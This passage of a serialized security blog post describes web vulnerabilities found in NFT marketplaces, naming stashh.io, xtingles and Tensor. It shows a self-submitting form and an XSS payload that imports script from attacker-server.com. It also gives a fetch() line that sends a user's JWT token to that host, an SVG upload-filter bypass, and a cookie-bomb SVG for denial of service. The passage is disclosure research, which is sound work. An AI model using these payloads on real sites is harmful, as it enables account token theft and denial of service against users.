e":22,"tag":118,"props":35647,"children":35648},{"style":210},[35649],{"type":28,"value":34850},{"type":22,"tag":118,"props":35651,"children":35652},{"style":1480},[35653],{"type":28,"value":34855},{"type":22,"tag":118,"props":35655,"children":35656},{"style":210},[35657],{"type":28,"value":842},{"type":22,"tag":118,"props":35659,"children":35660},{"style":1480},[35661],{"type":28,"value":34855},{"type":22,"tag":118,"props":35663,"children":35664},{"style":532},[35665],{"type":28,"value":34868},{"type":22,"tag":118,"props":35667,"children":35668},{"style":210},[35669],{"type":28,"value":540},{"type":22,"tag":118,"props":35671,"children":35672},{"style":1866},[35673],{"type":28,"value":34877},{"type":22,"tag":118,"props":35675,"children":35676},{"style":210},[35677],{"type":28,"value":34882},{"type":22,"tag":118,"props":35679,"children":35680},{"style":532},[35681],{"type":28,"value":34887},{"type":22,"tag":118,"props":35683,"children":35684},{"style":210},[35685],{"type":28,"value":2708},{"type":22,"tag":118,"props":35687,"children":35688},{"class":120,"line":441},[35689],{"type":22,"tag":118,"props":35690,"children":35691},{"emptyLinePlaceholder":15},[35692],{"type":28,"value":250},{"type":22,"tag":118,"props":35694,"children":35695},{"class":120,"line":475},[35696,35700,35704,35708,35712,35716,35720,35724,35728,35732,35736,35740,35744],{"type":22,"tag":118,"props":35697,"children":35698},{"style":204},[35699],{"type":28,"value":827},{"type":22,"tag":118,"props":35701,"children":35702},{"style":204},[35703],{"type":28,"value":34910},{"type":22,"tag":118,"props":35705,"children":35706},{"style":210},[35707],{"type":28,"value":34850},{"type":22,"tag":118,"props":35709,"children":35710},{"style":146},[35711],{"type":28,"value":4256},{"type":22,"tag":118,"props":35713,"children":35714},{"style":532},[35715],{"type":28,"value":34923},{"type":22,"tag":118,"props":35717,"children":35718},{"style":210},[35719],{"type":28,"value":34928},{"type":22,"tag":118,"props":35721,"children":35722},{"style":204},[35723],{"type":28,"value":34887},{"type":22,"tag":118,"props":35725,"children":35726},{"style":210},[35727],{"type":28,"value":25011},{"type":22,"tag":118,"props":35729,"children":35730},{"style":1866},[35731],{"type":28,"value":34941},{"type":22,"tag":118,"props":35733,"children":35734},{"style":210},[35735],{"type":28,"value":34946},{"type":22,"tag":118,"props":35737,"children":35738},{"style":204},[35739],{"type":28,"value":34951},{"type":22,"tag":118,"props":35741,"children":35742},{"style":1866},[35743],{"type":28,"value":34956},{"type":22,"tag":118,"props":35745,"children":35746},{"style":210},[35747],{"type":28,"value":34961},{"type":22,"tag":118,"props":35749,"children":35750},{"class":120,"line":484},[35751,35755,35759,35763,35767,35771],{"type":22,"tag":118,"props":35752,"children":35753},{"style":204},[35754],{"type":28,"value":34840},{"type":22,"tag":118,"props":35756,"children":35757},{"style":204},[35758],{"type":28,"value":34973},{"type":22,"tag":118,"props":35760,"children":35761},{"style":210},[35762],{"type":28,"value":34850},{"type":22,"tag":118,"props":35764,"children":35765},{"style":146},[35766],{"type":28,"value":4256},{"type":22,"tag":118,"props":35768,"children":35769},{"style":532},[35770],{"type":28,"value":34986},{"type":22,"tag":118,"props":35772,"children":35773},{"style":210},[35774],{"type":28,"value":1098},{"type":22,"tag":118,"props":35776,"children":35777},{"class":120,"line":492},[35778,35782,35786,35790,35794,35798,35802,35806],{"type":22,"tag":118,"props":35779,"children":35780},{"style":204},[35781],{"type":28,"value":34998},{"type":22,"tag":118,"props":35783,"children":35784},{"style":210},[35785],{"type":28,"value":292},{"type":22,"tag":118,"props":35787,"children":35788},{"style":204},[35789],{"type":28,"value":35007},{"type":22,"tag":118,"props":35791,"children":35792},{"style":210},[35793],{"type":28,"value":292},{"type":22,"tag":118,"props":35795,"children":35796},{"style":532},[35797],{"type":28,"value":11636},{"type":22,"tag":118,"props":35799,"children":35800},{"style":210},[35801],{"type":28,"value":540},{"type":22,"tag":118,"props":35803,"children":35804},{"style":204},[35805],{"type":28,"value":35024},{"type":22,"tag":118,"props":35807,"children":35808},{"style":210},[35809],{"type":28,"value":682},{"type":22,"tag":118,"props":35811,"children":35812},{"class":120,"line":501},[35813],{"type":22,"tag":118,"props":35814,"children":35815},{"emptyLinePlaceholder":15},[35816],{"type":28,"value":250},{"type":22,"tag":118,"props":35818,"children":35819},{"class":120,"line":519},[35820,35824,35828,35832,35836,35840,35844,35848],{"type":22,"tag":118,"props":35821,"children":35822},{"style":204},[35823],{"type":28,"value":35043},{"type":22,"tag":118,"props":35825,"children":35826},{"style":210},[35827],{"type":28,"value":292},{"type":22,"tag":118,"props":35829,"children":35830},{"style":204},[35831],{"type":28,"value":35052},{"type":22,"tag":118,"props":35833,"children":35834},{"style":210},[35835],{"type":28,"value":34850},{"type":22,"tag":118,"props":35837,"children":35838},{"style":204},[35839],{"type":28,"value":35061},{"type":22,"tag":118,"props":35841,"children":35842},{"style":210},[35843],{"type":28,"value":292},{"type":22,"tag":118,"props":35845,"children":35846},{"style":204},[35847],{"type":28,"value":35052},{"type":22,"tag":118,"props":35849,"children":35850},{"style":210},[35851],{"type":28,"value":801},{"type":22,"tag":118,"props":35853,"children":35854},{"class":120,"line":606},[35855],{"type":22,"tag":118,"props":35856,"children":35857},{"emptyLinePlaceholder":15},[35858],{"type":28,"value":250},{"type":22,"tag":118,"props":35860,"children":35861},{"class":120,"line":615},[35862,35867,35871,35876],{"type":22,"tag":118,"props":35863,"children":35864},{"style":204},[35865],{"type":28,"value":35866},"        form123",{"type":22,"tag":118,"props":35868,"children":35869},{"style":210},[35870],{"type":28,"value":292},{"type":22,"tag":118,"props":35872,"children":35873},{"style":532},[35874],{"type":28,"value":35875},"submit",{"type":22,"tag":118,"props":35877,"children":35878},{"style":210},[35879],{"type":28,"value":2708},{"type":22,"tag":118,"props":35881,"children":35882},{"class":120,"line":685},[35883,35887],{"type":22,"tag":118,"props":35884,"children":35885},{"style":146},[35886],{"type":28,"value":35081},{"type":22,"tag":118,"props":35888,"children":35889},{"style":125},[35890],{"type":28,"value":35086},{"type":22,"tag":118,"props":35892,"children":35893},{"class":120,"line":699},[35894],{"type":22,"tag":118,"props":35895,"children":35896},{"emptyLinePlaceholder":15},[35897],{"type":28,"value":250},{"type":22,"tag":118,"props":35899,"children":35900},{"class":120,"line":729},[35901,35905,35909],{"type":22,"tag":118,"props":35902,"children":35903},{"style":34314},[35904],{"type":28,"value":34783},{"type":22,"tag":118,"props":35906,"children":35907},{"style":146},[35908],{"type":28,"value":34354},{"type":22,"tag":118,"props":35910,"children":35911},{"style":34314},[35912],{"type":28,"value":8002},{"type":22,"tag":118,"props":35914,"children":35915},{"class":120,"line":771},[35916,35920,35924],{"type":22,"tag":118,"props":35917,"children":35918},{"style":34314},[35919],{"type":28,"value":34368},{"type":22,"tag":118,"props":35921,"children":35922},{"style":146},[35923],{"type":28,"value":34321},{"type":22,"tag":118,"props":35925,"children":35926},{"style":34314},[35927],{"type":28,"value":8002},{"type":22,"tag":31,"props":35929,"children":35930},{},[35931],{"type":28,"value":35932},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":22,"tag":107,"props":35934,"children":35938},{"className":35935,"code":35936,"language":35937,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[35939],{"type":22,"tag":114,"props":35940,"children":35941},{"__ignoreMap":7},[35942,35949,35970,35991,36008],{"type":22,"tag":118,"props":35943,"children":35944},{"class":120,"line":121},[35945],{"type":22,"tag":118,"props":35946,"children":35947},{"style":125},[35948],{"type":28,"value":12879},{"type":22,"tag":118,"props":35950,"children":35951},{"class":120,"line":142},[35952,35957,35961,35966],{"type":22,"tag":118,"props":35953,"children":35954},{"style":204},[35955],{"type":28,"value":35956},"  \"address\"",{"type":22,"tag":118,"props":35958,"children":35959},{"style":125},[35960],{"type":28,"value":1319},{"type":22,"tag":118,"props":35962,"children":35963},{"style":1866},[35964],{"type":28,"value":35965},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":22,"tag":118,"props":35967,"children":35968},{"style":125},[35969],{"type":28,"value":782},{"type":22,"tag":118,"props":35971,"children":35972},{"class":120,"line":177},[35973,35978,35982,35987],{"type":22,"tag":118,"props":35974,"children":35975},{"style":204},[35976],{"type":28,"value":35977},"  \"to\"",{"type":22,"tag":118,"props":35979,"children":35980},{"style":125},[35981],{"type":28,"value":1319},{"type":22,"tag":118,"props":35983,"children":35984},{"style":1866},[35985],{"type":28,"value":35986},"\"profile-assets\"",{"type":22,"tag":118,"props":35988,"children":35989},{"style":125},[35990],{"type":28,"value":782},{"type":22,"tag":118,"props":35992,"children":35993},{"class":120,"line":195},[35994,35999,36003],{"type":22,"tag":118,"props":35995,"children":35996},{"style":204},[35997],{"type":28,"value":35998},"  \"type\"",{"type":22,"tag":118,"props":36000,"children":36001},{"style":125},[36002],{"type":28,"value":1319},{"type":22,"tag":118,"props":36004,"children":36005},{"style":1866},[36006],{"type":28,"value":36007},"\"icon\"\n",{"type":22,"tag":118,"props":36009,"children":36010},{"class":120,"line":244},[36011],{"type":22,"tag":118,"props":36012,"children":36013},{"style":125},[36014],{"type":28,"value":481},{"type":22,"tag":31,"props":36016,"children":36017},{},[36018],{"type":28,"value":36019},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":22,"tag":107,"props":36021,"children":36023},{"className":33302,"code":36022,"language":33304,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[36024],{"type":22,"tag":114,"props":36025,"children":36026},{"__ignoreMap":7},[36027],{"type":22,"tag":118,"props":36028,"children":36029},{"class":120,"line":121},[36030,36035,36039,36044,36049,36054,36058,36063,36067,36072,36076,36081,36085],{"type":22,"tag":118,"props":36031,"children":36032},{"style":532},[36033],{"type":28,"value":36034},"fetch",{"type":22,"tag":118,"props":36036,"children":36037},{"style":125},[36038],{"type":28,"value":540},{"type":22,"tag":118,"props":36040,"children":36041},{"style":1866},[36042],{"type":28,"value":36043},"`https://attacker-server.com/?token_leak=",{"type":22,"tag":118,"props":36045,"children":36046},{"style":146},[36047],{"type":28,"value":36048},"${",{"type":22,"tag":118,"props":36050,"children":36051},{"style":204},[36052],{"type":28,"value":36053},"localStorage",{"type":22,"tag":118,"props":36055,"children":36056},{"style":210},[36057],{"type":28,"value":292},{"type":22,"tag":118,"props":36059,"children":36060},{"style":532},[36061],{"type":28,"value":36062},"getItem",{"type":22,"tag":118,"props":36064,"children":36065},{"style":210},[36066],{"type":28,"value":540},{"type":22,"tag":118,"props":36068,"children":36069},{"style":1866},[36070],{"type":28,"value":36071},"'token'",{"type":22,"tag":118,"props":36073,"children":36074},{"style":210},[36075],{"type":28,"value":3627},{"type":22,"tag":118,"props":36077,"children":36078},{"style":146},[36079],{"type":28,"value":36080},"}",{"type":22,"tag":118,"props":36082,"children":36083},{"style":1866},[36084],{"type":28,"value":12381},{"type":22,"tag":118,"props":36086,"children":36087},{"style":125},[36088],{"type":28,"value":682},{"type":22,"tag":1289,"props":36090,"children":36092},{"id":36091},"svgs",[36093],{"type":28,"value":36094},"SVGs",{"type":22,"tag":31,"props":36096,"children":36097},{},[36098],{"type":28,"value":36099},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":22,"tag":31,"props":36101,"children":36102},{},[36103],{"type":28,"value":36104},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":22,"tag":107,"props":36106,"children":36108},{"className":33302,"code":36107,"language":33304,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[36109],{"type":22,"tag":114,"props":36110,"children":36111},{"__ignoreMap":7},[36112,36158,36195,36202,36232,36264,36292,36300,36316],{"type":22,"tag":118,"props":36113,"children":36114},{"class":120,"line":121},[36115,36120,36125,36130,36134,36139,36144,36148,36153],{"type":22,"tag":118,"props":36116,"children":36117},{"style":210},[36118],{"type":28,"value":36119},"\u003C?",{"type":22,"tag":118,"props":36121,"children":36122},{"style":204},[36123],{"type":28,"value":36124},"xml",{"type":22,"tag":118,"props":36126,"children":36127},{"style":204},[36128],{"type":28,"value":36129}," version",{"type":22,"tag":118,"props":36131,"children":36132},{"style":210},[36133],{"type":28,"value":282},{"type":22,"tag":118,"props":36135,"children":36136},{"style":1866},[36137],{"type":28,"value":36138},"\"1.0\"",{"type":22,"tag":118,"props":36140,"children":36141},{"style":204},[36142],{"type":28,"value":36143}," encoding",{"type":22,"tag":118,"props":36145,"children":36146},{"style":210},[36147],{"type":28,"value":282},{"type":22,"tag":118,"props":36149,"children":36150},{"style":1866},[36151],{"type":28,"value":36152},"\"UTF-8\"",{"type":22,"tag":118,"props":36154,"children":36155},{"style":210},[36156],{"type":28,"value":36157},"?>\n",{"type":22,"tag":118,"props":36159,"children":36160},{"class":120,"line":142},[36161,36166,36171,36176,36181,36186,36191],{"type":22,"tag":118,"props":36162,"children":36163},{"style":210},[36164],{"type":28,"value":36165},"\u003C!",{"type":22,"tag":118,"props":36167,"children":36168},{"style":204},[36169],{"type":28,"value":36170},"DOCTYPE",{"type":22,"tag":118,"props":36172,"children":36173},{"style":204},[36174],{"type":28,"value":36175}," svg",{"type":22,"tag":118,"props":36177,"children":36178},{"style":204},[36179],{"type":28,"value":36180}," PUBLIC",{"type":22,"tag":118,"props":36182,"children":36183},{"style":1866},[36184],{"type":28,"value":36185}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":22,"tag":118,"props":36187,"children":36188},{"style":1866},[36189],{"type":28,"value":36190}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":22,"tag":118,"props":36192,"children":36193},{"style":210},[36194],{"type":28,"value":8002},{"type":22,"tag":118,"props":36196,"children":36197},{"class":120,"line":177},[36198],{"type":22,"tag":118,"props":36199,"children":36200},{"emptyLinePlaceholder":15},[36201],{"type":28,"value":250},{"type":22,"tag":118,"props":36203,"children":36204},{"class":120,"line":195},[36205,36209,36214,36219,36223,36228],{"type":22,"tag":118,"props":36206,"children":36207},{"style":34314},[36208],{"type":28,"value":2197},{"type":22,"tag":118,"props":36210,"children":36211},{"style":146},[36212],{"type":28,"value":36213},"svg",{"type":22,"tag":118,"props":36215,"children":36216},{"style":204},[36217],{"type":28,"value":36218}," xmlns",{"type":22,"tag":118,"props":36220,"children":36221},{"style":210},[36222],{"type":28,"value":282},{"type":22,"tag":118,"props":36224,"children":36225},{"style":1866},[36226],{"type":28,"value":36227},"\"http://www.w3.org/2000/svg\"",{"type":22,"tag":118,"props":36229,"children":36230},{"style":34314},[36231],{"type":28,"value":8002},{"type":22,"tag":118,"props":36233,"children":36234},{"class":120,"line":244},[36235,36239,36244,36248,36252,36256,36260],{"type":22,"tag":118,"props":36236,"children":36237},{"style":34314},[36238],{"type":28,"value":34333},{"type":22,"tag":118,"props":36240,"children":36241},{"style":146},[36242],{"type":28,"value":36243},"title",{"type":22,"tag":118,"props":36245,"children":36246},{"style":34314},[36247],{"type":28,"value":12460},{"type":22,"tag":118,"props":36249,"children":36250},{"style":125},[36251],{"type":28,"value":33176},{"type":22,"tag":118,"props":36253,"children":36254},{"style":34314},[36255],{"type":28,"value":34368},{"type":22,"tag":118,"props":36257,"children":36258},{"style":146},[36259],{"type":28,"value":36243},{"type":22,"tag":118,"props":36261,"children":36262},{"style":34314},[36263],{"type":28,"value":8002},{"type":22,"tag":118,"props":36265,"children":36266},{"class":120,"line":253},[36267,36271,36275,36279,36283,36288],{"type":22,"tag":118,"props":36268,"children":36269},{"style":34314},[36270],{"type":28,"value":34333},{"type":22,"tag":118,"props":36272,"children":36273},{"style":146},[36274],{"type":28,"value":34354},{"type":22,"tag":118,"props":36276,"children":36277},{"style":204},[36278],{"type":28,"value":34479},{"type":22,"tag":118,"props":36280,"children":36281},{"style":210},[36282],{"type":28,"value":282},{"type":22,"tag":118,"props":36284,"children":36285},{"style":1866},[36286],{"type":28,"value":36287},"\"text/javascript\"",{"type":22,"tag":118,"props":36289,"children":36290},{"style":34314},[36291],{"type":28,"value":8002},{"type":22,"tag":118,"props":36293,"children":36294},{"class":120,"line":263},[36295],{"type":22,"tag":118,"props":36296,"children":36297},{"style":125},[36298],{"type":28,"value":36299},"   alert(document.domain);\n",{"type":22,"tag":118,"props":36301,"children":36302},{"class":120,"line":318},[36303,36308,36312],{"type":22,"tag":118,"props":36304,"children":36305},{"style":34314},[36306],{"type":28,"value":36307},"   \u003C/",{"type":22,"tag":118,"props":36309,"children":36310},{"style":146},[36311],{"type":28,"value":34354},{"type":22,"tag":118,"props":36313,"children":36314},{"style":34314},[36315],{"type":28,"value":8002},{"type":22,"tag":118,"props":36317,"children":36318},{"class":120,"line":351},[36319,36324,36328],{"type":22,"tag":118,"props":36320,"children":36321},{"style":34314},[36322],{"type":28,"value":36323}," \u003C/",{"type":22,"tag":118,"props":36325,"children":36326},{"style":146},[36327],{"type":28,"value":36213},{"type":22,"tag":118,"props":36329,"children":36330},{"style":34314},[36331],{"type":28,"value":8002},{"type":22,"tag":31,"props":36333,"children":36334},{},[36335,36337,36344],{"type":28,"value":36336},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":22,"tag":42,"props":36338,"children":36341},{"href":36339,"rel":36340},"https://xtingles.com/",[46],[36342],{"type":28,"value":36343},"xtingles Marketplace",{"type":28,"value":292},{"type":22,"tag":31,"props":36346,"children":36347},{},[36348],{"type":28,"value":36349},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":22,"tag":31,"props":36351,"children":36352},{},[36353],{"type":28,"value":36354},"Below, we show you how we did it.",{"type":22,"tag":31,"props":36356,"children":36357},{},[36358],{"type":28,"value":36359},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":22,"tag":31,"props":36361,"children":36362},{},[36363],{"type":22,"tag":5928,"props":36364,"children":36366},{"alt":7,"src":36365},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":22,"tag":31,"props":36368,"children":36369},{},[36370],{"type":28,"value":36371},"After changing the extension inside the file name.",{"type":22,"tag":31,"props":36373,"children":36374},{},[36375],{"type":22,"tag":5928,"props":36376,"children":36378},{"alt":7,"src":36377},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":22,"tag":1289,"props":36380,"children":36382},{"id":36381},"svgs-return",[36383],{"type":28,"value":36384},"SVGs Return",{"type":22,"tag":31,"props":36386,"children":36387},{},[36388],{"type":28,"value":36389},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":22,"tag":31,"props":36391,"children":36392},{},[36393],{"type":28,"value":36394},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":22,"tag":31,"props":36396,"children":36397},{},[36398],{"type":28,"value":36399},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":22,"tag":107,"props":36401,"children":36405},{"className":36402,"code":36403,"language":36404,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[36406],{"type":22,"tag":114,"props":36407,"children":36408},{"__ignoreMap":7},[36409,36448,36479,36486,36513,36544,36571,36579,36587,36594,36606,36681,36689,36704],{"type":22,"tag":118,"props":36410,"children":36411},{"class":120,"line":121},[36412,36416,36420,36424,36428,36432,36436,36440,36444],{"type":22,"tag":118,"props":36413,"children":36414},{"style":210},[36415],{"type":28,"value":36119},{"type":22,"tag":118,"props":36417,"children":36418},{"style":204},[36419],{"type":28,"value":36124},{"type":22,"tag":118,"props":36421,"children":36422},{"style":204},[36423],{"type":28,"value":36129},{"type":22,"tag":118,"props":36425,"children":36426},{"style":210},[36427],{"type":28,"value":282},{"type":22,"tag":118,"props":36429,"children":36430},{"style":1866},[36431],{"type":28,"value":36138},{"type":22,"tag":118,"props":36433,"children":36434},{"style":204},[36435],{"type":28,"value":36143},{"type":22,"tag":118,"props":36437,"children":36438},{"style":210},[36439],{"type":28,"value":282},{"type":22,"tag":118,"props":36441,"children":36442},{"style":1866},[36443],{"type":28,"value":36152},{"type":22,"tag":118,"props":36445,"children":36446},{"style":210},[36447],{"type":28,"value":36157},{"type":22,"tag":118,"props":36449,"children":36450},{"class":120,"line":142},[36451,36455,36459,36463,36467,36471,36475],{"type":22,"tag":118,"props":36452,"children":36453},{"style":210},[36454],{"type":28,"value":36165},{"type":22,"tag":118,"props":36456,"children":36457},{"style":204},[36458],{"type":28,"value":36170},{"type":22,"tag":118,"props":36460,"children":36461},{"style":204},[36462],{"type":28,"value":36175},{"type":22,"tag":118,"props":36464,"children":36465},{"style":204},[36466],{"type":28,"value":36180},{"type":22,"tag":118,"props":36468,"children":36469},{"style":1866},[36470],{"type":28,"value":36185},{"type":22,"tag":118,"props":36472,"children":36473},{"style":1866},[36474],{"type":28,"value":36190},{"type":22,"tag":118,"props":36476,"children":36477},{"style":210},[36478],{"type":28,"value":8002},{"type":22,"tag":118,"props":36480,"children":36481},{"class":120,"line":177},[36482],{"type":22,"tag":118,"props":36483,"children":36484},{"emptyLinePlaceholder":15},[36485],{"type":28,"value":250},{"type":22,"tag":118,"props":36487,"children":36488},{"class":120,"line":195},[36489,36493,36497,36501,36505,36509],{"type":22,"tag":118,"props":36490,"children":36491},{"style":34314},[36492],{"type":28,"value":2197},{"type":22,"tag":118,"props":36494,"children":36495},{"style":146},[36496],{"type":28,"value":36213},{"type":22,"tag":118,"props":36498,"children":36499},{"style":204},[36500],{"type":28,"value":36218},{"type":22,"tag":118,"props":36502,"children":36503},{"style":210},[36504],{"type":28,"value":282},{"type":22,"tag":118,"props":36506,"children":36507},{"style":1866},[36508],{"type":28,"value":36227},{"type":22,"tag":118,"props":36510,"children":36511},{"style":34314},[36512],{"type":28,"value":8002},{"type":22,"tag":118,"props":36514,"children":36515},{"class":120,"line":244},[36516,36520,36524,36528,36532,36536,36540],{"type":22,"tag":118,"props":36517,"children":36518},{"style":34314},[36519],{"type":28,"value":34333},{"type":22,"tag":118,"props":36521,"children":36522},{"style":146},[36523],{"type":28,"value":36243},{"type":22,"tag":118,"props":36525,"children":36526},{"style":34314},[36527],{"type":28,"value":12460},{"type":22,"tag":118,"props":36529,"children":36530},{"style":125},[36531],{"type":28,"value":33176},{"type":22,"tag":118,"props":36533,"children":36534},{"style":34314},[36535],{"type":28,"value":34368},{"type":22,"tag":118,"props":36537,"children":36538},{"style":146},[36539],{"type":28,"value":36243},{"type":22,"tag":118,"props":36541,"children":36542},{"style":34314},[36543],{"type":28,"value":8002},{"type":22,"tag":118,"props":36545,"children":36546},{"class":120,"line":253},[36547,36551,36555,36559,36563,36567],{"type":22,"tag":118,"props":36548,"children":36549},{"style":34314},[36550],{"type":28,"value":34333},{"type":22,"tag":118,"props":36552,"children":36553},{"style":146},[36554],{"type":28,"value":34354},{"type":22,"tag":118,"props":36556,"children":36557},{"style":204},[36558],{"type":28,"value":34479},{"type":22,"tag":118,"props":36560,"children":36561},{"style":210},[36562],{"type":28,"value":282},{"type":22,"tag":118,"props":36564,"children":36565},{"style":1866},[36566],{"type":28,"value":36287},{"type":22,"tag":118,"props":36568,"children":36569},{"style":34314},[36570],{"type":28,"value":8002},{"type":22,"tag":118,"props":36572,"children":36573},{"class":120,"line":263},[36574],{"type":22,"tag":118,"props":36575,"children":36576},{"style":125},[36577],{"type":28,"value":36578},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":22,"tag":118,"props":36580,"children":36581},{"class":120,"line":318},[36582],{"type":22,"tag":118,"props":36583,"children":36584},{"style":125},[36585],{"type":28,"value":36586},"   var Set_Cookie = Array(10000).join('a');\n",{"type":22,"tag":118,"props":36588,"children":36589},{"class":120,"line":351},[36590],{"type":22,"tag":118,"props":36591,"children":36592},{"emptyLinePlaceholder":15},[36593],{"type":28,"value":250},{"type":22,"tag":118,"props":36595,"children":36596},{"class":120,"line":359},[36597,36602],{"type":22,"tag":118,"props":36598,"children":36599},{"style":125},[36600],{"type":28,"value":36601},"   for (var i = 1; i \u003C 99; i++) ",{"type":22,"tag":118,"props":36603,"children":36604},{"style":146},[36605],{"type":28,"value":12879},{"type":22,"tag":118,"props":36607,"children":36608},{"class":120,"line":368},[36609,36614,36618,36623,36627,36632,36637,36641,36645,36650,36654,36659,36663,36668,36672,36677],{"type":22,"tag":118,"props":36610,"children":36611},{"style":204},[36612],{"type":28,"value":36613},"    document",{"type":22,"tag":118,"props":36615,"children":36616},{"style":210},[36617],{"type":28,"value":292},{"type":22,"tag":118,"props":36619,"children":36620},{"style":204},[36621],{"type":28,"value":36622},"cookie",{"type":22,"tag":118,"props":36624,"children":36625},{"style":210},[36626],{"type":28,"value":34850},{"type":22,"tag":118,"props":36628,"children":36629},{"style":1866},[36630],{"type":28,"value":36631},"'Cookie'",{"type":22,"tag":118,"props":36633,"children":36634},{"style":210},[36635],{"type":28,"value":36636}," + ",{"type":22,"tag":118,"props":36638,"children":36639},{"style":204},[36640],{"type":28,"value":3613},{"type":22,"tag":118,"props":36642,"children":36643},{"style":210},[36644],{"type":28,"value":36636},{"type":22,"tag":118,"props":36646,"children":36647},{"style":1866},[36648],{"type":28,"value":36649},"'='",{"type":22,"tag":118,"props":36651,"children":36652},{"style":210},[36653],{"type":28,"value":36636},{"type":22,"tag":118,"props":36655,"children":36656},{"style":204},[36657],{"type":28,"value":36658},"Set_Cookie",{"type":22,"tag":118,"props":36660,"children":36661},{"style":210},[36662],{"type":28,"value":36636},{"type":22,"tag":118,"props":36664,"children":36665},{"style":1866},[36666],{"type":28,"value":36667},"';Domain='",{"type":22,"tag":118,"props":36669,"children":36670},{"style":210},[36671],{"type":28,"value":36636},{"type":22,"tag":118,"props":36673,"children":36674},{"style":204},[36675],{"type":28,"value":36676},"Take_Domain",{"type":22,"tag":118,"props":36678,"children":36679},{"style":210},[36680],{"type":28,"value":801},{"type":22,"tag":118,"props":36682,"children":36683},{"class":120,"line":384},[36684],{"type":22,"tag":118,"props":36685,"children":36686},{"style":146},[36687],{"type":28,"value":36688},"   }\n",{"type":22,"tag":118,"props":36690,"children":36691},{"class":120,"line":417},[36692,36696,36700],{"type":22,"tag":118,"props":36693,"children":36694},{"style":34314},[36695],{"type":28,"value":36307},{"type":22,"tag":118,"props":36697,"children":36698},{"style":146},[36699],{"type":28,"value":34354},{"type":22,"tag":118,"props":36701,"children":36702},{"style":34314},[36703],{"type":28,"value":8002},{"type":22,"tag":118,"props":36705,"children":36706},{"class":120,"line":425},[36707,36711,36715],{"type":22,"tag":118,"props":36708,"children":36709},{"style":34314},[36710],{"type":28,"value":36323},{"type":22,"tag":118,"props":36712,"children":36713},{"style":146},[36714],{"type":28,"value":36213},{"type":22,"tag":118,"props":36716,"children":36717},{"style":34314},[36718],{"type":28,"value":8002},{"type":22,"tag":31,"props":36720,"children":36721},{},[36722],{"type":28,"value":36723},"As a result, we're able to prevent the user from loading images.",{"type":22,"tag":23,"props":36725,"children":36727},{"id":36726},"authentication",[36728],{"type":28,"value":36729},"Authentication",{"type":22,"tag":31,"props":36731,"children":36732},{},[36733],{"type":22,"tag":4764,"props":36734,"children":36735},{},[36736,36738,36745],{"type":28,"value":36737},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":22,"tag":42,"props":36739,"children":36742},{"href":36740,"rel":36741},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[46],[36743],{"type":28,"value":36744},"great misfortune has occured",{"type":28,"value":292},{"type":22,"tag":1289,"props":36747,"children":36749},{"id":36748},"verification-token-leakage",[36750],{"type":28,"value":36751},"Verification Token Leakage",{"type":22,"tag":31,"props":36753,"children":36754},{},[36755],{"type":28,"value":36756},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":22,"tag":31,"props":36758,"children":36759},{},[36760],{"type":28,"value":36761},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":22,"tag":31,"props":36763,"children":36764},{},[36765,36770],{"type":22,"tag":4764,"props":36766,"children":36767},{},[36768],{"type":28,"value":36769},"Proof of Concept",{"type":28,"value":36771},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own 